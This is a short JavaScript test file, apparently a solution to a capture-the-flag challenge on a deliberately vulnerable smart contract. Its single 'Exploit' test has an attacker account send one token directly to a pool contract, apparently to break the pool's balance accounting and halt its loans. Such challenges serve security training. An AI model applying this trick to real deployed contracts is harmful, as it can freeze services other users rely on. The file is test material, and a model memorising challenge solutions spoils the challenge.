dvd1_sol.js

it('Exploit', async function () {
    await this.token.connect(attacker).transfer(this.pool.address, 1);
});